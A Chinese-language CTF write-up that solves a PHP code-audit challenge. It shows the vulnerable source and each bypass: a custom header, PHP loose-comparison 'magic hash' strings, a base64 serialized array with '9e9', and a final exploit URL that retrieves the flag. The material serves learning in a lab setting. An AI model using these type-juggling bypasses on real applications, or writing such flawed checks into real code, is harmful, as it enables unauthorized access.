一道CTF的代码审计题目

这个是一道围绕着php弱类型等一些杂项出的题目。

题目提示

访问题目连接,提示index.txt ,典型的源代码泄露

分析代码(代码在最后)

主要看要绕过哪些点:

1.第一个需要绕过的:

1
2
3
4
5
if(md5($_SERVER['HTTP_BGROTNYSPXPD']) !=='9a8dae267c8e52a664c8cbf7cfe47b44'){
header("HTTP/1.1 404 Not Found");
echo 'Tips:index.txt';
exit();
}

这个绕过很简单,只需要burp抓包加上一个BGROTNYSPXPD:HaHa即可。而不是加上HTTP_BGROTNYSPXPD。

2.第二层绕过:

1
2
3
4
5
if(md5($_POST['encode']) !== '0a61bdaf2b1f5c00b319fa7c1373bbee'){
echo '</br>man,your need Crack Md5</br>';
}else{
echo "</br>Hash:".$encodedSecret."<br/>";
}

第二层if只需要POST提交一个md5值为0a61bdaf2b1f5c00b319fa7c1373bbee的值,再加上第一层绕过的方法就可以绕过了。

第一次做的时候我用python直接提交的包,可以绕过,写文章的时候,这样没法绕过,应该是#的原因,把encode提交的内容进行一次URLENCODE,再提交

绕过第二层if之后会给我一个$encodedSecret在后面会用到。并且给出了这个encodedSecret的算法:

1
2
3
4
function encodeSecret($secret) {
//翻转字符串然后转换成16进制
return bin2hex(strrev(base64_encode($secret)));
}

先把Hash转化成字符串得到=QcCtmMml1ViV3b然后解密:

1
2
3
4
<?php
$s="=QcCtmMml1ViV3b";
echo base64_decode(strrev($s));
?>

获得明文:oubWYf2kBq

3.第三层绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$pass=unserialize(base64_decode($_GET['pass']));
if($pass!=='' &&is_array($pass)){
$a=$pass['a'];
$b=$pass['b'];
$c=$pass['c'];
if($a == '' && $b == ''&& $c== ''){
die("tutututu");
}
if((md5($a) == md5($b) && $a !== $b)){
echo "WOW!<br/>";
$v1=1;
}
if(strlen($c)<4 && $c>99999999){
echo "666666!</br>";
$v2=1;
}

要提交一个base64加密过的序列化数组,数组要满足的要求:

  • A.三个key对应的value不为空;

  • B. a和b不相等,且md5值相等(php弱类型);

  • C. c的长度小于4位,但是值要大于99999999

对于a和b QNKCDZO 与 s878926199a即可。对于c我在本地测试了一下9e9可以绕过。

1
2
3
4
5
6
<?php	
$test = array("a"=>"QNKCDZO","b"=>"s878926199a","c"=>"9e9");
$test2 = '';
$test2=serialize($test);
echo base64_encode($test2);
?>

用以上代码拿到pass的值。

第四层绕过还是一个PHP弱类型

1
2
3
$aa = base64_decode($_GET['file']);
$bb = base64_decode($_GET['file1']);
if((md5($aa) == md5($bb) && $aa !== $bb))

只需要把 QNKCDZO 与 s878926199a进行一次base64加密就行

第五层,这个其实在第二层绕过的时候已经拿到了那个值。

1
2
3
if(encodeSecret($_GET['onet']) == $encodedSecret){
echo $flag;
}else

onet=oubWYf2kBq

构造payload

http://xxx.xxx.xxx.xxx/code/index.php?pass=YTozOntzOjE6ImEiO3M6NzoiUU5LQ0RaTyI7czoxOiJiIjtzOjExOiJzODc4OTI2MTk5YSI7czoxOiJjIjtzOjM6IjllOSI7fQ==&file=UU5LQ0RaTw==&file1=czg3ODkyNjE5OWE=&onet=oubWYf2kBq

提交的时候在数据报头加上BGROTNYSPXPD:HaHa即可得到flag